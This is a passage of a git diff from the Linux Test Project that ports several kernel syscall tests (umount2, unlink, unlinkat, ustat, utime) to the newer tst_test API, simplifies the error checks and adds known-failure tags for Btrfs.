-	if (test_cases[i].do_access) {
-		if (access(MNTPOINT, F_OK) == -1)
-			tst_brkm(TBROK | TERRNO, cleanup, "access(2) failed");
-	}
-
-	TEST(umount2_retry(MNTPOINT, test_cases[i].flag));
-
-	if (test_cases[i].exp_errno != 0)
-		verify_failure(i);
-	else
-		verify_success(i);
-}
-
-static void verify_failure(int i)
-{
-	if (TEST_RETURN == 0) {
-		tst_resm(TFAIL, "%s passed unexpectedly", test_cases[i].desc);
-		mount_flag = 0;
-		return;
-	}
-
-	if (TEST_ERRNO != test_cases[i].exp_errno) {
-		tst_resm(TFAIL | TTERRNO, "%s failed unexpectedly",
-			 test_cases[i].desc);
-		return;
-	}
-
-	tst_resm(TPASS | TTERRNO, "umount2(2) failed as expected");
-}
-
-static void verify_success(int i)
-{
-	if (TEST_RETURN != 0) {
-		tst_resm(TFAIL | TTERRNO, "%s failed unexpectedly",
-			 test_cases[i].desc);
-		return;
-	}
-
-	tst_resm(TPASS, "umount2(2) succeeded as expected");
-	mount_flag = 0;
+	SAFE_SYMLINK(MNTPOINT, SYMLINK);
 }
 
 static void cleanup(void)
 {
-	if (mount_flag && tst_umount(MNTPOINT))
-		tst_resm(TWARN | TERRNO, "Failed to unmount");
-
-	if (device)
-		tst_release_device(device);
-
-	tst_rmdir();
+	if (mount_flag)
+		SAFE_UMOUNT(MNTPOINT);
 }
+
+static struct tst_test test = {
+	.tcnt = ARRAY_SIZE(tcases),
+	.cleanup = cleanup,
+	.setup = setup,
+	.needs_root = 1,
+	.format_device = 1,
+	.mntpoint = MNTPOINT,
+	.test = test_umount2,
+};
diff --git a/testcases/kernel/syscalls/umount2/umount2_03.c b/testcases/kernel/syscalls/umount2/umount2_03.c
deleted file mode 100644
index a8fddf6..0000000
--- a/testcases/kernel/syscalls/umount2/umount2_03.c
+++ /dev/null
@@ -1,167 +0,0 @@
-/*
- * Copyright (c) 2015 Fujitsu Ltd.
- * Author: Guangwen Feng <fenggw-fnst@cn.fujitsu.com>
- *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * You should have received a copy of the GNU General Public License
- * alone with this program.
- */
-
-/*
- * DESCRIPTION
- *  Test for feature UMOUNT_NOFOLLOW of umount2().
- *  "Don't dereference target if it is a symbolic link,
- *   and fails with the error EINVAL."
- */
-
-#include <errno.h>
-#include <sys/mount.h>
-
-#include "test.h"
-#include "safe_macros.h"
-#include "lapi/mount.h"
-
-#include "umount2.h"
-
-#define DIR_MODE	(S_IRWXU | S_IRWXG | S_IROTH | S_IXOTH)
-#define MNTPOINT	"mntpoint"
-#define SYMLINK	"symlink"
-
-static void setup(void);
-static void test_umount2(int i);
-static void verify_failure(int i);
-static void verify_success(int i);
-static void cleanup(void);
-
-static const char *device;
-static const char *fs_type;
-
-static int mount_flag;
-
-static struct test_case_t {
-	const char *mntpoint;
-	int exp_errno;
-	const char *desc;
-} test_cases[] = {
-	{SYMLINK, EINVAL,
-		"umount2('symlink', UMOUNT_NOFOLLOW) expected EINVAL"},
-	{MNTPOINT, 0,
-		"umount2('mntpoint', UMOUNT_NOFOLLOW) expected success"},
-};
-
-char *TCID = "umount2_03";
-int TST_TOTAL = ARRAY_SIZE(test_cases);
-
-int main(int ac, char **av)
-{
-	int lc;
-	int tc;
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		tst_count = 0;
-
-		for (tc = 0; tc < TST_TOTAL; tc++)
-			test_umount2(tc);
-	}
-
-	cleanup();
-	tst_exit();
-}
-
-static void setup(void)
-{
-	tst_require_root();
-
-	if ((tst_kvercmp(2, 6, 34)) < 0) {
-		tst_brkm(TCONF, NULL, "This test can only run on kernels "
-			 "that are 2.6.34 or higher");
-	}
-
-	tst_sig(NOFORK, DEF_HANDLER, NULL);
-
-	tst_tmpdir();
-
-	fs_type = tst_dev_fs_type();
-	device = tst_acquire_device(cleanup);
-
-	if (!device)
-		tst_brkm(TCONF, cleanup, "Failed to obtain block device");
-
-	tst_mkfs(cleanup, device, fs_type, NULL, NULL);
-
-	SAFE_MKDIR(cleanup, MNTPOINT, DIR_MODE);
-
-	SAFE_SYMLINK(cleanup, MNTPOINT, SYMLINK);
-
-	TEST_PAUSE;
-}
-
-static void test_umount2(int i)
-{
-	SAFE_MOUNT(cleanup, device, MNTPOINT, fs_type, 0, NULL);
-	mount_flag = 1;
-
-	TEST(umount2_retry(test_cases[i].mntpoint, UMOUNT_NOFOLLOW));
-
-	if (test_cases[i].exp_errno != 0)
-		verify_failure(i);
-	else
-		verify_success(i);
-
-	if (mount_flag) {
-		if (tst_umount(MNTPOINT))
-			tst_brkm(TBROK, cleanup, "umount() failed");
-		mount_flag = 0;
-	}
-}
-
-static void verify_failure(int i)
-{
-	if (TEST_RETURN == 0) {
-		tst_resm(TFAIL, "%s passed unexpectedly", test_cases[i].desc);
-		mount_flag = 0;
-		return;
-	}
-
-	if (TEST_ERRNO != test_cases[i].exp_errno) {
-		tst_resm(TFAIL | TTERRNO, "%s failed unexpectedly",
-			 test_cases[i].desc);
-		return;
-	}
-
-	tst_resm(TPASS | TTERRNO, "umount2(2) failed as expected");
-}
-
-static void verify_success(int i)
-{
-	if (TEST_RETURN != 0) {
-		tst_resm(TFAIL | TTERRNO, "%s failed unexpectedly",
-			 test_cases[i].desc);
-		return;
-	}
-
-	tst_resm(TPASS, "umount2(2) succeeded as expected");
-	mount_flag = 0;
-}
-
-static void cleanup(void)
-{
-	if (mount_flag && tst_umount(MNTPOINT))
-		tst_resm(TWARN | TERRNO, "Failed to unmount");
-
-	if (device)
-		tst_release_device(device);
-
-	tst_rmdir();
-}
diff --git a/testcases/kernel/syscalls/unlink/unlink07.c b/testcases/kernel/syscalls/unlink/unlink07.c
index 869bd5f..b7bbd8d 100644
--- a/testcases/kernel/syscalls/unlink/unlink07.c
+++ b/testcases/kernel/syscalls/unlink/unlink07.c
@@ -1,23 +1,27 @@
 // SPDX-License-Identifier: GPL-2.0-or-later
 /*
  * Copyright (c) 2000 Silicon Graphics, Inc.  All Rights Reserved.
+ * Copyright (c) Linux Test Project, 2002-2022
  */
 
-/*
- * Description:
- * The testcase checks the various errnos of the unlink(2).
- * 1) unlink() returns ENOENT if file doesn't exist.
- * 2) unlink() returns ENOENT if path is empty.
- * 3) unlink() returns ENOENT if path contains a non-existent file.
- * 4) unlink() returns EFAULT if address is invalid.
- * 5) unlink() returns ENOTDIR if path contains a regular file.
- * 6) unlink() returns ENAMETOOLONG if path contains a regular file.
+/*\
+ * [Description]
+ *
+ * Verify that unlink(2) fails with
+ *
+ * - ENOENT when file does not exist
+ * - ENOENT when pathname is empty
+ * - ENOENT when a component in pathname does not exist
+ * - EFAULT when pathname points outside the accessible address space
+ * - ENOTDIR when a component used as a directory in pathname is not,
+ * in fact, a directory
+ * - ENAMETOOLONG when pathname is too long
  */
 
 #include <errno.h>
+#include <limits.h>
 #include <string.h>
 #include <unistd.h>
-#include <sys/param.h>	/* for PATH_MAX */
 #include "tst_test.h"
 
 static char longpathname[PATH_MAX + 2];
@@ -39,26 +43,12 @@
 {
 	struct test_case_t *tc = &tcases[n];
 
-	TEST(unlink(tc->name));
-	if (TST_RET != -1) {
-		tst_res(TFAIL, "unlink(<%s>) succeeded unexpectedly",
-			tc->desc);
-		return;
-	}
-
-	if (TST_ERR == tc->exp_errno) {
-		tst_res(TPASS | TTERRNO, "unlink(<%s>) failed as expected",
-			tc->desc);
-	} else {
-		tst_res(TFAIL | TTERRNO,
-			"unlink(<%s>) failed, expected errno: %s",
-			tc->desc, tst_strerrno(tc->exp_errno));
-	}
+	TST_EXP_FAIL(unlink(tc->name), tc->exp_errno, "%s", tc->desc);
 }
 
 static void setup(void)
 {
-	unsigned int n;
+	size_t n;
 
 	SAFE_TOUCH("file", 0777, NULL);
 
diff --git a/testcases/kernel/syscalls/unlink/unlink08.c b/testcases/kernel/syscalls/unlink/unlink08.c
index f3ce46a..1fe6e89 100644
--- a/testcases/kernel/syscalls/unlink/unlink08.c
+++ b/testcases/kernel/syscalls/unlink/unlink08.c
@@ -1,23 +1,24 @@
 // SPDX-License-Identifier: GPL-2.0-or-later
 /*
+ * Copyright (c) Linux Test Project, 2002-2022
  * Copyright (c) 2000 Silicon Graphics, Inc.  All Rights Reserved.
  */
 
-/*
- * Description:
- * The testcase checks the various errnos of the unlink(2).
- * 1) unlink() returns EACCES when deleting file in unwritable directory
- *    as an unprivileged user.
- * 2) unlink() returns EACCES when deleting file in "unsearchable directory
- *    as an unprivileged user.
- * 3) unlink() returns EISDIR when deleting directory for root
- * 4) unlink() returns EISDIR when deleting directory for regular user
+/*\
+ * [Description]
+ *
+ * Verify that unlink(2) fails with
+ *
+ * - EACCES when no write access to the directory containing pathname
+ * - EACCES when one of the directories in pathname did not allow search
+ * - EISDIR when deleting directory as root user
+ * - EISDIR when deleting directory as non-root user
  */
 
 #include <errno.h>
-#include <stdlib.h>
-#include <sys/types.h>
 #include <pwd.h>
+#include <stdlib.h>
+#include <unistd.h>
 #include "tst_test.h"
 
 static struct passwd *pw;
@@ -36,21 +37,7 @@
 
 static void verify_unlink(struct test_case_t *tc)
 {
-	TEST(unlink(tc->name));
-	if (TST_RET != -1) {
-		tst_res(TFAIL, "unlink(<%s>) succeeded unexpectedly",
-			tc->desc);
-		return;
-	}
-
-	if (TST_ERR == tc->exp_errno) {
-		tst_res(TPASS | TTERRNO, "unlink(<%s>) failed as expected",
-			tc->desc);
-	} else {
-		tst_res(TFAIL | TTERRNO,
-			"unlink(<%s>) failed, expected errno: %s",
-			tc->desc, tst_strerrno(tc->exp_errno));
-	}
+	TST_EXP_FAIL(unlink(tc->name), tc->exp_errno, "%s", tc->desc);
 }
 
 static void do_unlink(unsigned int n)
@@ -65,7 +52,6 @@
 			verify_unlink(cases);
 			exit(0);
 		}
-
 		SAFE_WAITPID(pid, NULL, 0);
 	} else {
 		verify_unlink(cases);
diff --git a/testcases/kernel/syscalls/unlinkat/unlinkat01.c b/testcases/kernel/syscalls/unlinkat/unlinkat01.c
index 9e9a5d7..cdbb099 100644
--- a/testcases/kernel/syscalls/unlinkat/unlinkat01.c
+++ b/testcases/kernel/syscalls/unlinkat/unlinkat01.c
@@ -52,13 +52,15 @@
 
 static void run(unsigned int i)
 {
+	int fd3 = -1;
+
 	/* tesfile2 will be unlinked by test0. */
 	if (access(testfile2, F_OK))
 		SAFE_FILE_PRINTF(testfile2, testfile2);
 
 	/* testfile3 will be unlined by test1. */
 	if (access(testfile3, F_OK))
-		SAFE_OPEN(testfile3, O_CREAT | O_RDWR, 0600);
+		fd3 = SAFE_OPEN(testfile3, O_CREAT | O_RDWR, 0600);
 
 	/* subpathdir will be unlinked by test6. */
 	if (access(subpathdir, F_OK))
@@ -80,6 +82,9 @@
 
 	if (!tc[i].fd)
 		SAFE_CLOSE(fd);
+
+	if (fd3 > 0)
+		SAFE_CLOSE(fd3);
 }
 
 static void setup(void)
diff --git a/testcases/kernel/syscalls/unshare/unshare02.c b/testcases/kernel/syscalls/unshare/unshare02.c
index 9b222fa..3783e8e 100644
--- a/testcases/kernel/syscalls/unshare/unshare02.c
+++ b/testcases/kernel/syscalls/unshare/unshare02.c
@@ -7,7 +7,7 @@
 /*\
  * [Description]
  *
- * Basic tests for the unshare() errors.
+ * Basic tests for the unshare(2) errors.
  *
  * - EINVAL on invalid flags
  * - EPERM when process is missing required privileges
diff --git a/testcases/kernel/syscalls/userfaultfd/userfaultfd01.c b/testcases/kernel/syscalls/userfaultfd/userfaultfd01.c
index 4e178b4..2dae2ec 100644
--- a/testcases/kernel/syscalls/userfaultfd/userfaultfd01.c
+++ b/testcases/kernel/syscalls/userfaultfd/userfaultfd01.c
@@ -121,7 +121,6 @@
 static struct tst_test test = {
 	.test_all = run,
 	.min_kver = "4.3",
-	.timeout = 20
 };
 
 #else
diff --git a/testcases/kernel/syscalls/ustat/ustat01.c b/testcases/kernel/syscalls/ustat/ustat01.c
index 0252858..70a44ad 100644
--- a/testcases/kernel/syscalls/ustat/ustat01.c
+++ b/testcases/kernel/syscalls/ustat/ustat01.c
@@ -44,6 +44,12 @@
 static struct tst_test test = {
 	.test_all = run,
 	.setup = setup,
+	.tags = (const struct tst_tag[]) {
+		{"known-fail", "ustat() is known to fail with EINVAL on Btrfs, see "
+			"https://lore.kernel.org/linux-btrfs/e7e867b8-b57a-7eb2-2432-1627bd3a88fb@toxicpanda.com/"
+		},
+		{}
+	}
 };
 #else
 TST_TEST_TCONF("testing ustat requires <sys/ustat.h> or <linux/types.h>");
diff --git a/testcases/kernel/syscalls/ustat/ustat02.c b/testcases/kernel/syscalls/ustat/ustat02.c
index d08446e..a5b0cc1 100644
--- a/testcases/kernel/syscalls/ustat/ustat02.c
+++ b/testcases/kernel/syscalls/ustat/ustat02.c
@@ -63,6 +63,12 @@
 	.test = run,
 	.setup = setup,
 	.tcnt = ARRAY_SIZE(tc),
+	.tags = (const struct tst_tag[]) {
+		{"known-fail", "ustat() is known to fail with EINVAL on Btrfs, see "
+			"https://lore.kernel.org/linux-btrfs/e7e867b8-b57a-7eb2-2432-1627bd3a88fb@toxicpanda.com/"
+		},
+		{}
+	}
 };
 #else
 TST_TEST_TCONF("testing ustat requires <sys/ustat.h> or <linux/types.h>");
diff --git a/testcases/kernel/syscalls/utils/compat_16.h b/testcases/kernel/syscalls/utils/compat_16.h
index 75d5d2d..d1f3dfd 100644
--- a/testcases/kernel/syscalls/utils/compat_16.h
+++ b/testcases/kernel/syscalls/utils/compat_16.h
@@ -45,7 +45,7 @@
 #ifdef TST_USE_COMPAT16_SYSCALL
 # define LTP_CREATE_SYSCALL(sys_name, cleanup, ...) \
 	if (__NR_##sys_name##32 != __LTP__NR_INVALID_SYSCALL) { \
-		return ltp_syscall(__NR_##sys_name, ##__VA_ARGS__); \
+		return tst_syscall(__NR_##sys_name, ##__VA_ARGS__); \
 	} else { \
 		tst_brkm(TCONF, cleanup, \
 			"16-bit version of %s() is not supported on your " \
diff --git a/testcases/kernel/syscalls/utime/utime01.c b/testcases/kernel/syscalls/utime/utime01.c
index 1e68625..0cc9822 100644
--- a/testcases/kernel/syscalls/utime/utime01.c
+++ b/testcases/kernel/syscalls/utime/utime01.c
@@ -1,223 +1,75 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
- *
  *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ *		07/2001 ported by John George
+ *   Copyright (c) 2022 SUSE LLC Avinesh Kumar <avinesh.kumar@suse.com>
  */
 
-/*
- * Test Name: utime01
+/*\
+ * [Description]
  *
- * Test Description:
- *  Verify that the system call utime() successfully sets the modification
- *  and access times of a file to the current time, if the times argument
- *  is null, and the user ID of the process is "root".
- *
- * Expected Result:
- *  utime succeeds returning zero and sets the access and modification
- *  times of the file to the current time.
- *
- * Algorithm:
- *  Setup:
- *   Setup signal handling.
- *   Create temporary directory.
- *   Pause for SIGUSR1 if option specified.
- *
- *  Test:
- *   Loop if the proper options are given.
- *   Execute system call
- *   Check return code, if system call failed (return=-1)
- *	Log the errno and Issue a FAIL message.
- *   Otherwise,
- *	Verify the Functionality of system call
- *      if successful,
- *		Issue Functionality-Pass message.
- *      Otherwise,
- *		Issue Functionality-Fail message.
- *  Cleanup:
- *   Print errno log and/or timing stats if options given
- *   Delete the temporary directory created.
- *
- * Usage:  <for command-line>
- *  utime01 [-c n] [-e] [-f] [-i n] [-I x] [-p x] [-t]
- *		where,  -c n : Run n copies concurrently.
- *			-e   : Turn on errno logging.
- *			-f   : Turn off functionality Testing.
- *			-i n : Execute test n times.
- *			-I x : Execute test for x seconds.
- *			-P x : Pause for x seconds between iterations.
- *			-t   : Turn on syscall timing.
- *
- * History
- *	07/2001 John George
- *		-Ported
- *
- * Restrictions:
- *  This test should be run by 'super-user' (root) only.
- *
+ * Verify that the system call utime() successfully changes the last
+ * access and modification times of a file to the current time if the
+ * times argument is NULL and the user ID of the process is "root".
  */
 
-#include <stdio.h>
-#include <unistd.h>
-#include <sys/types.h>
-#include <errno.h>
-#include <fcntl.h>
 #include <utime.h>
-#include <string.h>
-#include <sys/stat.h>
-#include <signal.h>
-#include <time.h>
 
-#include "test.h"
-#include "safe_macros.h"
+#include "tst_test.h"
+#include "tst_clocks.h"
 
-#define TEMP_FILE	"tmp_file"
-#define FILE_MODE	S_IRUSR | S_IRGRP | S_IROTH
+#define MNT_POINT	"mntpoint"
+#define TEMP_FILE	MNT_POINT"/tmp_file"
+#define FILE_MODE	0444
 
-char *TCID = "utime01";
-int TST_TOTAL = 1;
-time_t curr_time;		/* current time in seconds */
-
-void setup();			/* Main setup function of test */
-void cleanup();			/* cleanup function for the test */
-
-int main(int ac, char **av)
+static void setup(void)
 {
-	struct stat stat_buf;	/* struct buffer to hold file info. */
-	int lc;
-	long type;
-	time_t modf_time, access_time;
-	time_t pres_time;	/* file modification/access/present time */
+	SAFE_TOUCH(TEMP_FILE, FILE_MODE, NULL);
+}
 
-	tst_parse_opts(ac, av, NULL, NULL);
+static void run(void)
+{
+	struct utimbuf utbuf;
+	struct stat stat_buf;
+	time_t pre_time, post_time;
 
-	setup();
+	utbuf.modtime = tst_get_fs_timestamp() - 5;
+	utbuf.actime = utbuf.modtime + 1;
+	TST_EXP_PASS_SILENT(utime(TEMP_FILE, &utbuf));
+	SAFE_STAT(TEMP_FILE, &stat_buf);
 
-	switch ((type = tst_fs_type(cleanup, "."))) {
-	case TST_NFS_MAGIC:
-		if (tst_kvercmp(2, 6, 18) < 0)
-			tst_brkm(TCONF, cleanup, "Cannot do utime on a file"
-				" on %s filesystem before 2.6.18",
-				 tst_fs_type_name(type));
-		break;
-	case TST_V9FS_MAGIC:
-		tst_brkm(TCONF, cleanup,
-			 "Cannot do utime on a file on %s filesystem",
-			 tst_fs_type_name(type));
-		break;
+	TST_EXP_EQ_LI(stat_buf.st_atime, utbuf.actime);
+	TST_EXP_EQ_LI(stat_buf.st_mtime, utbuf.modtime);
+
+	pre_time = tst_get_fs_timestamp();
+	TST_EXP_PASS(utime(TEMP_FILE, NULL), "utime(%s, NULL)", TEMP_FILE);
+	if (!TST_PASS)
+		return;
+	post_time = tst_get_fs_timestamp();
+	SAFE_STAT(TEMP_FILE, &stat_buf);
+
+	if (stat_buf.st_mtime < pre_time || stat_buf.st_mtime > post_time)
+		tst_res(TFAIL, "utime() did not set expected mtime, "
+				"pre_time: %ld, post_time: %ld, st_mtime: %ld",
+				pre_time, post_time, stat_buf.st_mtime);
+
+	if (stat_buf.st_atime < pre_time || stat_buf.st_atime > post_time)
+		tst_res(TFAIL, "utime() did not set expected atime, "
+				"pre_time: %ld, post_time: %ld, st_atime: %ld",
+				pre_time, post_time, stat_buf.st_atime);
+
+}
+
+static struct tst_test test = {
+	.test_all = run,
+	.setup = setup,
+	.needs_root = 1,
+	.mntpoint = MNT_POINT,
+	.mount_device = 1,
+	.all_filesystems = 1,
+	.skip_filesystems = (const char *const[]) {
+		"vfat",
+		"exfat",
+		NULL
 	}
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		/*
-		 * Invoke utime(2) to set TEMP_FILE access and
-		 * modification times to the current time.
-		 */
-		TEST(utime(TEMP_FILE, NULL));
-
-		if (TEST_RETURN == -1) {
-			tst_resm(TFAIL|TTERRNO, "utime(%s) failed", TEMP_FILE);
-		} else {
-			/*
-			 * Sleep for a second so that mod time and
-			 * access times will be different from the
-			 * current time
-			 */
-			sleep(2);
-
-			/*
-			 * Get the current time now, after calling
-			 * utime(2)
-			 */
-			pres_time = time(NULL);
-
-			/*
-			 * Get the modification and access times of
-			 * temporary file using stat(2).
-			 */
-			SAFE_STAT(cleanup, TEMP_FILE, &stat_buf);
-			modf_time = stat_buf.st_mtime;
-			access_time = stat_buf.st_atime;
-
-			/* Now do the actual verification */
-			if (modf_time <= curr_time ||
-			    modf_time >= pres_time ||
-			    access_time <= curr_time ||
-			    access_time >= pres_time) {
-				tst_resm(TFAIL, "%s access and "
-					 "modification times not set",
-					 TEMP_FILE);
-			} else {
-				tst_resm(TPASS, "Functionality of "
-					 "utime(%s, NULL) successful",
-					 TEMP_FILE);
-			}
-		}
-		tst_count++;
-	}
-
-	cleanup();
-	tst_exit();
-}
-
-/*
- * void
- * setup() - performs all ONE TIME setup for this test.
- *  Create a temporary directory and change directory to it.
- *  Create a test file under temporary directory and close it
- */
-void setup(void)
-{
-	int fildes;		/* file handle for temp file */
-
-	tst_require_root();
-
-	tst_sig(FORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	tst_tmpdir();
-
-	/* Creat a temporary file under above directory */
-	fildes = SAFE_CREAT(cleanup, TEMP_FILE, FILE_MODE);
-
-	/* Close the temporary file created */
-	SAFE_CLOSE(cleanup, fildes);
-
-	/* Get the current time */
-	curr_time = time(NULL);
-
-	/*
-	 * Sleep for a second so that mod time and access times will be
-	 * different from the current time
-	 */
-	sleep(2);		/* sleep(1) on IA64 sometimes sleeps < 1 sec!! */
-
-}
-
-/*
- * void
- * cleanup() - performs all ONE TIME cleanup for this test at
- *             completion or premature exit.
- *  Remove the test directory and testfile created in the setup.
- */
-void cleanup(void)
-{
-
-	tst_rmdir();
-
-}
+};
diff --git a/testcases/kernel/syscalls/utime/utime02.c b/testcases/kernel/syscalls/utime/utime02.c
index 14d5e18..5469389 100644
--- a/testcases/kernel/syscalls/utime/utime02.c
+++ b/testcases/kernel/syscalls/utime/utime02.c
@@ -1,238 +1,90 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
- *
  *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ *		07/2001 ported by John George
+ *   Copyright (c) 2022 SUSE LLC Avinesh Kumar <avinesh.kumar@suse.com>
  */
 
-/*
- * Test Name: utime02
+/*\
+ * [Description]
  *
- * Test Description:
- *  Verify that the system call utime() successfully sets the modification
- *  and access times of a file to the current time, under the following
- *  constraints,
- *	- The times argument is null.
- *	- The user ID of the process is not "root".
- *	- The file is owned by the user ID of the process.
- *
- * Expected Result:
- *  utime succeeds returning zero and sets the access and modification
- *  times of the file to the current time.
- *
- * Algorithm:
- *  Setup:
- *   Setup signal handling.
- *   Create temporary directory.
- *   Pause for SIGUSR1 if option specified.
- *
- *  Test:
- *   Loop if the proper options are given.
- *   Execute system call
- *   Check return code, if system call failed (return=-1)
- *	Log the errno and Issue a FAIL message.
- *   Otherwise,
- *	Verify the Functionality of system call
- *      if successful,
- *		Issue Functionality-Pass message.
- *      Otherwise,
- *		Issue Functionality-Fail message.
- *  Cleanup:
- *   Print errno log and/or timing stats if options given
- *   Delete the temporary directory created.
- *
- * Usage:  <for command-line>
- *	utime02 [-c n] [-e] [-f] [-i n] [-I x] [-p x] [-t]
- *	where,  -c n : Run n copies concurrently.
- *		-e   : Turn on errno logging.
- *		-f   : Turn off functionality Testing.
- *		-i n : Execute test n times.
- *		-I x : Execute test for x seconds.
- *		-P x : Pause for x seconds between iterations.
- *		-t   : Turn on syscall timing.
- *
- * History
- *	07/2001 John George
- *		-Ported
- *
- * Restrictions:
- *
+ * Verify that the system call utime() successfully changes the last
+ * access and modification times of a file to the current time,
+ * under the following constraints:
+ * - The times argument is NULL.
+ * - The user ID of the process is not "root".
+ * - The file is owned by the user ID of the process.
  */
 
-#include <stdio.h>
-#include <unistd.h>
-#include <sys/types.h>
-#include <errno.h>
-#include <fcntl.h>
 #include <utime.h>
-#include <string.h>
-#include <sys/stat.h>
-#include <signal.h>
 #include <pwd.h>
-#include <time.h>
 
-#include "test.h"
-#include "safe_macros.h"
+#include "tst_test.h"
+#include "tst_clocks.h"
 
-#define TEMP_FILE	"tmp_file"
-#define FILE_MODE	S_IRUSR | S_IRGRP | S_IROTH
+#define MNT_POINT	"mntpoint"
+#define TEMP_FILE	MNT_POINT"/tmp_file"
+#define FILE_MODE	0444
 
-char *TCID = "utime02";
-int TST_TOTAL = 1;
-time_t curr_time;		/* current time in seconds */
+#define TEST_USERNAME "nobody"
 
-char nobody_uid[] = "nobody";
-struct passwd *ltpuser;
 
-void setup();			/* Main setup function of test */
-void cleanup();			/* cleanup function for the test */
-
-int main(int ac, char **av)
+static void setup(void)
 {
-	struct stat stat_buf;	/* struct buffer to hold file info. */
-	int lc;
-	long type;
-	time_t modf_time, access_time;
-	time_t pres_time;	/* file modification/access/present time */
+	struct passwd *pw;
 
-	tst_parse_opts(ac, av, NULL, NULL);
+	pw = SAFE_GETPWNAM(TEST_USERNAME);
 
-	setup();
+	SAFE_TOUCH(TEMP_FILE, FILE_MODE, NULL);
+	SAFE_CHOWN(TEMP_FILE, pw->pw_uid, pw->pw_gid);
 
-	switch ((type = tst_fs_type(cleanup, "."))) {
-	case TST_NFS_MAGIC:
-		if (tst_kvercmp(2, 6, 18) < 0)
-			tst_brkm(TCONF, cleanup, "Cannot do utime on a file"
-				" on %s filesystem before 2.6.18",
-				 tst_fs_type_name(type));
-		break;
-	case TST_V9FS_MAGIC:
-		tst_brkm(TCONF, cleanup,
-			 "Cannot do utime on a file on %s filesystem",
-			 tst_fs_type_name(type));
-		break;
+	tst_res(TINFO, "Switching effective user ID to user: %s", pw->pw_name);
+
+	SAFE_SETEUID(pw->pw_uid);
+}
+
+static void run(void)
+{
+	struct utimbuf utbuf;
+	struct stat stat_buf;
+	time_t pre_time, post_time;
+
+	utbuf.modtime = tst_get_fs_timestamp() - 5;
+	utbuf.actime = utbuf.modtime + 1;
+	TST_EXP_PASS_SILENT(utime(TEMP_FILE, &utbuf));
+	SAFE_STAT(TEMP_FILE, &stat_buf);
+
+	TST_EXP_EQ_LI(stat_buf.st_atime, utbuf.actime);
+	TST_EXP_EQ_LI(stat_buf.st_mtime, utbuf.modtime);
+
+	pre_time = tst_get_fs_timestamp();
+	TST_EXP_PASS(utime(TEMP_FILE, NULL), "utime(%s, NULL)", TEMP_FILE);
+	if (!TST_PASS)
+		return;
+	post_time = tst_get_fs_timestamp();
+	SAFE_STAT(TEMP_FILE, &stat_buf);
+
+	if (stat_buf.st_mtime < pre_time || stat_buf.st_mtime > post_time)
+		tst_res(TFAIL, "utime() did not set expected mtime, "
+				"pre_time: %ld, post_time: %ld, st_mtime: %ld",
+				pre_time, post_time, stat_buf.st_mtime);
+
+	if (stat_buf.st_atime < pre_time || stat_buf.st_atime > post_time)
+		tst_res(TFAIL, "utime() did not set expected atime, "
+				"pre_time: %ld, post_time: %ld, st_atime: %ld",
+				pre_time, post_time, stat_buf.st_atime);
+}
+
+static struct tst_test test = {
+	.test_all = run,
+	.setup = setup,
+	.needs_root = 1,
+	.mntpoint = MNT_POINT,
+	.mount_device = 1,
+	.all_filesystems = 1,
+	.skip_filesystems = (const char *const[]) {
+		"vfat",
+		"exfat",
+		NULL
 	}
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		/*
-		 * Invoke utime(2) to set TEMP_FILE access and
-		 * modification times to the current time.
-		 */
-		TEST(utime(TEMP_FILE, NULL));
-
-		if (TEST_RETURN == -1) {
-			tst_resm(TFAIL|TTERRNO, "utime(%s) failed", TEMP_FILE);
-		} else {
-			/*
-			 * Sleep for a second so that mod time and
-			 * access times will be different from the
-			 * current time
-			 */
-			sleep(2);
-
-			/*
-			 * Get the current time now, after calling
-			 * utime(2)
-			 */
-			pres_time = time(NULL);
-
-			/*
-			 * Get the modification and access times of
-			 * temporary file using stat(2).
-			 */
-			SAFE_STAT(cleanup, TEMP_FILE, &stat_buf);
-			modf_time = stat_buf.st_mtime;
-			access_time = stat_buf.st_atime;
-
-			/* Now do the actual verification */
-			if (modf_time <= curr_time ||
-			    modf_time >= pres_time ||
-			    access_time <= curr_time ||
-			    access_time >= pres_time) {
-				tst_resm(TFAIL, "%s access and "
-					 "modification times not set",
-					 TEMP_FILE);
-			} else {
-				tst_resm(TPASS, "Functionality of "
-					 "utime(%s, NULL) successful",
-					 TEMP_FILE);
-			}
-		}
-		tst_count++;
-	}
-
-	cleanup();
-	tst_exit();
-}
-
-/*
- * void
- * setup() - performs all ONE TIME setup for this test.
- *  Create a temporary directory and change directory to it.
- *  Create a test file under temporary directory and close it
- */
-void setup(void)
-{
-	int fildes;		/* file handle for temp file */
-
-	tst_require_root();
-
-	tst_sig(FORK, DEF_HANDLER, cleanup);
-
-	/* Switch to nobody user for correct error code collection */
